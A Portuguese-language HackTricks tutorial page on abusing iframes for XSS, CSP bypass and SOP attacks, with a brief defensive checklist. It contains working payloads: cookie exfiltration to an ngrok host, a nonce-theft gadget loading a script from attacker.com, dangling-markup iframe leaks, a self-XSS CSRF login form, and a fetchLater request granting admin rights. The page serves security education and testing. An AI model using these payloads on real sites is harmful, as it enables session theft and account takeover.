Iframes em XSS, CSP e SOP

Reading time: 12 minutes

tip

Aprenda e pratique Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Aprenda e pratique Hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Supporte o HackTricks

Iframes em XSS

Existem 3 maneiras de indicar o conteúdo de uma página em um iframe:

  • Via src indicando uma URL (a URL pode ser de origem cruzada ou da mesma origem)
  • Via src indicando o conteúdo usando o protocolo data:
  • Via srcdoc indicando o conteúdo

Acessando variáveis Pai & Filho

html
<html>
<script>
var secret = "31337s3cr37t"
</script>

<iframe id="if1" src="http://127.0.1.1:8000/child.html"></iframe>
<iframe id="if2" src="child.html"></iframe>
<iframe
id="if3"
srcdoc="<script>var secret='if3 secret!'; alert(parent.secret)</script>"></iframe>
<iframe
id="if4"
src="data:text/html;charset=utf-8,%3Cscript%3Evar%20secret='if4%20secret!';alert(parent.secret)%3C%2Fscript%3E"></iframe>

<script>
function access_children_vars() {
alert(if1.secret)
alert(if2.secret)
alert(if3.secret)
alert(if4.secret)
}
setTimeout(access_children_vars, 3000)
</script>
</html>
html
<!-- content of child.html -->
<script>
var secret = "child secret"
alert(parent.secret)
</script>

Se você acessar o HTML anterior via um servidor http (como python3 -m http.server), você notará que todos os scripts serão executados (já que não há CSP impedindo isso). o pai não poderá acessar a variável secret dentro de qualquer iframe e apenas os iframes if2 e if3 (que são considerados do mesmo site) podem acessar o segredo na janela original.
Note como if4 é considerado ter origem null.

Iframes com CSP

tip

Por favor, note como nos seguintes bypasses a resposta para a página iframed não contém nenhum cabeçalho CSP que impeça a execução de JS.

O valor self de script-src não permitirá a execução do código JS usando o protocolo data: ou o atributo srcdoc.
No entanto, mesmo o valor none do CSP permitirá a execução dos iframes que colocam uma URL (completa ou apenas o caminho) no atributo src.
Portanto, é possível contornar o CSP de uma página com:

html
<html>
<head>
<meta
http-equiv="Content-Security-Policy"
content="script-src 'sha256-iF/bMbiFXal+AAl9tF8N6+KagNWdMlnhLqWkjAocLsk'" />
</head>
<script>
var secret = "31337s3cr37t"
</script>
<iframe id="if1" src="child.html"></iframe>
<iframe id="if2" src="http://127.0.1.1:8000/child.html"></iframe>
<iframe
id="if3"
srcdoc="<script>var secret='if3 secret!'; alert(parent.secret)</script>"></iframe>
<iframe
id="if4"
src="data:text/html;charset=utf-8,%3Cscript%3Evar%20secret='if4%20secret!';alert(parent.secret)%3C%2Fscript%3E"></iframe>
</html>

Note que o CSP anterior só permite a execução do script inline.
No entanto, apenas os scripts if1 e if2 serão executados, mas apenas if1 poderá acessar o segredo do pai.

Portanto, é possível contornar um CSP se você puder fazer upload de um arquivo JS para o servidor e carregá-lo via iframe, mesmo com script-src 'none'. Isso pode potencialmente ser feito abusando de um endpoint JSONP de mesmo site.

Você pode testar isso com o seguinte cenário onde um cookie é roubado mesmo com script-src 'none'. Basta executar o aplicativo e acessá-lo com seu navegador:

python
import flask
from flask import Flask
app = Flask(__name__)

@app.route("/")
def index():
resp = flask.Response('<html><iframe id="if1" src="cookie_s.html"></iframe></html>')
resp.headers['Content-Security-Policy'] = "script-src 'self'"
resp.headers['Set-Cookie'] = 'secret=THISISMYSECRET'
return resp

@app.route("/cookie_s.html")
def cookie_s():
return "<script>alert(document.cookie)</script>"

if __name__ == "__main__":
app.run()

Novas técnicas de bypass de CSP (2023-2025) com iframes

A comunidade de pesquisa continua a descobrir maneiras criativas de abusar de iframes para derrotar políticas restritivas. Abaixo você pode encontrar as técnicas mais notáveis publicadas nos últimos anos:

  • Exfiltração de dados via dangling-markup / named-iframe (PortSwigger 2023) – Quando uma aplicação reflete HTML, mas um CSP forte bloqueia a execução de scripts, você ainda pode vazar tokens sensíveis injetando um atributo <iframe name> dangling. Uma vez que a marcação parcial é analisada, o script do atacante rodando em uma origem separada navega o frame para about:blank e lê window.name, que agora contém tudo até o próximo caractere de citação (por exemplo, um token CSRF). Como nenhum JavaScript é executado no contexto da vítima, o ataque geralmente evita script-src 'none'. Um PoC mínimo é:
html
<!-- Ponto de injeção logo antes de um <script> sensível -->
<iframe name="//attacker.com/?">  <!-- atributo intencionalmente deixado aberto -->
javascript
// frame attacker.com
const victim = window.frames[0];
victim.location = 'about:blank';
console.log(victim.name); // → valor vazado
  • Roubo de nonce via iframe de mesma origem (2024) – Nonces de CSP não são removidos do DOM; eles estão apenas ocultos nas DevTools. Se um atacante puder injetar um iframe de mesma origem (por exemplo, fazendo upload de HTML para o site), o frame filho pode simplesmente consultar document.querySelector('[nonce]').nonce e criar novos nós <script nonce> que satisfaçam a política, permitindo a execução total de JavaScript apesar de strict-dynamic. O seguinte gadget eleva uma injeção de marcação em XSS:
javascript
const n = top.document.querySelector('[nonce]').nonce;
const s = top.document.createElement('script');
s.src = '//attacker.com/pwn.js';
s.nonce = n;
top.document.body.appendChild(s);
  • Sequestro de form-action (PortSwigger 2024) – Uma página que omite a diretiva form-action pode ter seu formulário de login re-direcionado a partir de um iframe injetado ou HTML inline, de modo que gerenciadores de senhas preencham automaticamente e enviem credenciais para um domínio externo, mesmo quando script-src 'none' está presente. Sempre complemente default-src com form-action!

Notas defensivas (checklist rápido)

  1. Sempre envie todas as diretivas CSP que controlam contextos secundários (form-action, frame-src, child-src, object-src, etc.).
  2. Não confie que nonces sejam secretos—use strict-dynamic e elimine pontos de injeção.
  3. Quando você precisar incorporar documentos não confiáveis, use sandbox="allow-scripts allow-same-origin" com muito cuidado (ou sem allow-same-origin se você só precisar de isolamento de execução de script).
  4. Considere uma implantação de defesa em profundidade COOP+COEP; o novo atributo <iframe credentialless> (§ abaixo) permite que você faça isso sem quebrar incorporações de terceiros.

Outros Payloads encontrados na natureza

html
<!-- This one requires the data: scheme to be allowed -->
<iframe
srcdoc='<script src="data:text/javascript,alert(document.domain)"></script>'></iframe>
<!-- This one injects JS in a jsonp endppoint -->
<iframe srcdoc='
<script src="/jsonp?callback=(function(){window.top.location.href=`http://f6a81b32f7f7.ngrok.io/cooookie`%2bdocument.cookie;})();//"></script>
<!-- sometimes it can be achieved using defer& async attributes of script within iframe (most of the time in new browser due to SOP it fails but who knows when you are lucky?)-->
<iframe
src='data:text/html,<script defer="true" src="data:text/javascript,document.body.innerText=/hello/"></script>'></iframe>

Iframe sandbox

O conteúdo dentro de um iframe pode estar sujeito a restrições adicionais através do uso do atributo sandbox. Por padrão, esse atributo não é aplicado, o que significa que não há restrições em vigor.

Quando utilizado, o atributo sandbox impõe várias limitações:

  • O conteúdo é tratado como se originasse de uma fonte única.
  • Qualquer tentativa de enviar formulários é bloqueada.
  • A execução de scripts é proibida.
  • O acesso a certas APIs é desativado.
  • Impede que links interajam com outros contextos de navegação.
  • O uso de plugins via <embed>, <object>, <applet>, ou tags similares é proibido.
  • A navegação do contexto de navegação de nível superior do conteúdo pelo próprio conteúdo é impedida.
  • Recursos que são acionados automaticamente, como reprodução de vídeo ou foco automático em controles de formulário, são bloqueados.

Dica: Navegadores modernos suportam flags granulares como allow-scripts, allow-same-origin, allow-top-navigation-by-user-activation, allow-downloads-without-user-activation, etc. Combine-os para conceder apenas as capacidades mínimas necessárias pelo aplicativo incorporado.

O valor do atributo pode ser deixado vazio (sandbox="") para aplicar todas as restrições mencionadas. Alternativamente, pode ser definido como uma lista de valores específicos separados por espaço que isentam o iframe de certas restrições.

html
<!-- Isolated but can run JS (cannot reach parent because same-origin is NOT allowed) -->
<iframe sandbox="allow-scripts" src="demo_iframe_sandbox.htm"></iframe>

Iframes sem credenciais

Como explicado em este artigo, a flag credentialless em um iframe é usada para carregar uma página dentro de um iframe sem enviar credenciais na requisição, mantendo a mesma política de origem (SOP) da página carregada no iframe.

Desde o Chrome 110 (fevereiro de 2023), o recurso está habilitado por padrão e a especificação está sendo padronizada entre os navegadores sob o nome iframe anônimo. O MDN descreve isso como: “um mecanismo para carregar iframes de terceiros em uma nova partição de armazenamento efêmera, de modo que nenhum cookie, localStorage ou IndexedDB seja compartilhado com a origem real”. Consequências para atacantes e defensores:

  • Scripts em diferentes iframes sem credenciais ainda compartilham a mesma origem de nível superior e podem interagir livremente via DOM, tornando viáveis ataques de self-XSS em múltiplos iframes (veja PoC abaixo).
  • Como a rede está sem credenciais, qualquer requisição dentro do iframe efetivamente se comporta como uma sessão não autenticada – endpoints protegidos por CSRF geralmente falham, mas páginas públicas que podem vazar via DOM ainda estão em escopo.
  • Pop-ups gerados a partir de um iframe sem credenciais recebem um rel="noopener" implícito, quebrando alguns fluxos de OAuth.
javascript
// PoC: two same-origin credentialless iframes stealing cookies set by a third
window.top[1].document.cookie = 'foo=bar';            // write
alert(window.top[2].document.cookie);                 // read -> foo=bar
  • Exemplo de exploração: Self-XSS + CSRF

Neste ataque, o atacante prepara uma página da web maliciosa com 2 iframes:

  • Um iframe que carrega a página da vítima com a flag credentialless com um CSRF que aciona um XSS (Imagine um Self-XSS no nome de usuário do usuário):
html
<html>
<body>
<form action="http://victim.domain/login" method="POST">
<input type="hidden" name="username" value="attacker_username<img src=x onerror=eval(window.name)>" />
<input type="hidden" name="password" value="Super_s@fe_password" />
<input type="submit" value="Submit request" />
</form>
<script>
document.forms[0].submit();
</script>
</body>
</html>
  • Outro iframe que na verdade tem o usuário logado (sem a flag credentialless).

Então, a partir do XSS, é possível acessar o outro iframe, pois eles têm o mesmo SOP e roubar o cookie, por exemplo, executando:

javascript
alert(window.top[1].document.cookie);

fetchLater Attack

Como indicado em este artigo, a API fetchLater permite configurar uma solicitação para ser executada mais tarde (após um certo tempo). Portanto, isso pode ser abusado para, por exemplo, fazer login de uma vítima dentro da sessão de um atacante (com Self-XSS), definir uma solicitação fetchLater (para mudar a senha do usuário atual, por exemplo) e sair da sessão do atacante. Então, a vítima faz login em sua própria sessão e a solicitação fetchLater será executada, mudando a senha da vítima para a que foi definida pelo atacante.

Dessa forma, mesmo que a URL da vítima não possa ser carregada em um iframe (devido ao CSP ou outras restrições), o atacante ainda pode executar uma solicitação na sessão da vítima.

javascript
var req = new Request("/change_rights",{method:"POST",body:JSON.stringify({username:"victim", rights: "admin"}),credentials:"include"})
const minute = 60000
let arr = [minute, minute * 60, minute * 60 * 24, ...]
for (let timeout of arr)
fetchLater(req,{activateAfter: timeout})

Iframes em SOP

Verifique as seguintes páginas:

Bypassing SOP with Iframes - 1

Bypassing SOP with Iframes - 2

Blocking main page to steal postmessage

Steal postmessage modifying iframe location

Referências

tip

Aprenda e pratique Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Aprenda e pratique Hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Supporte o HackTricks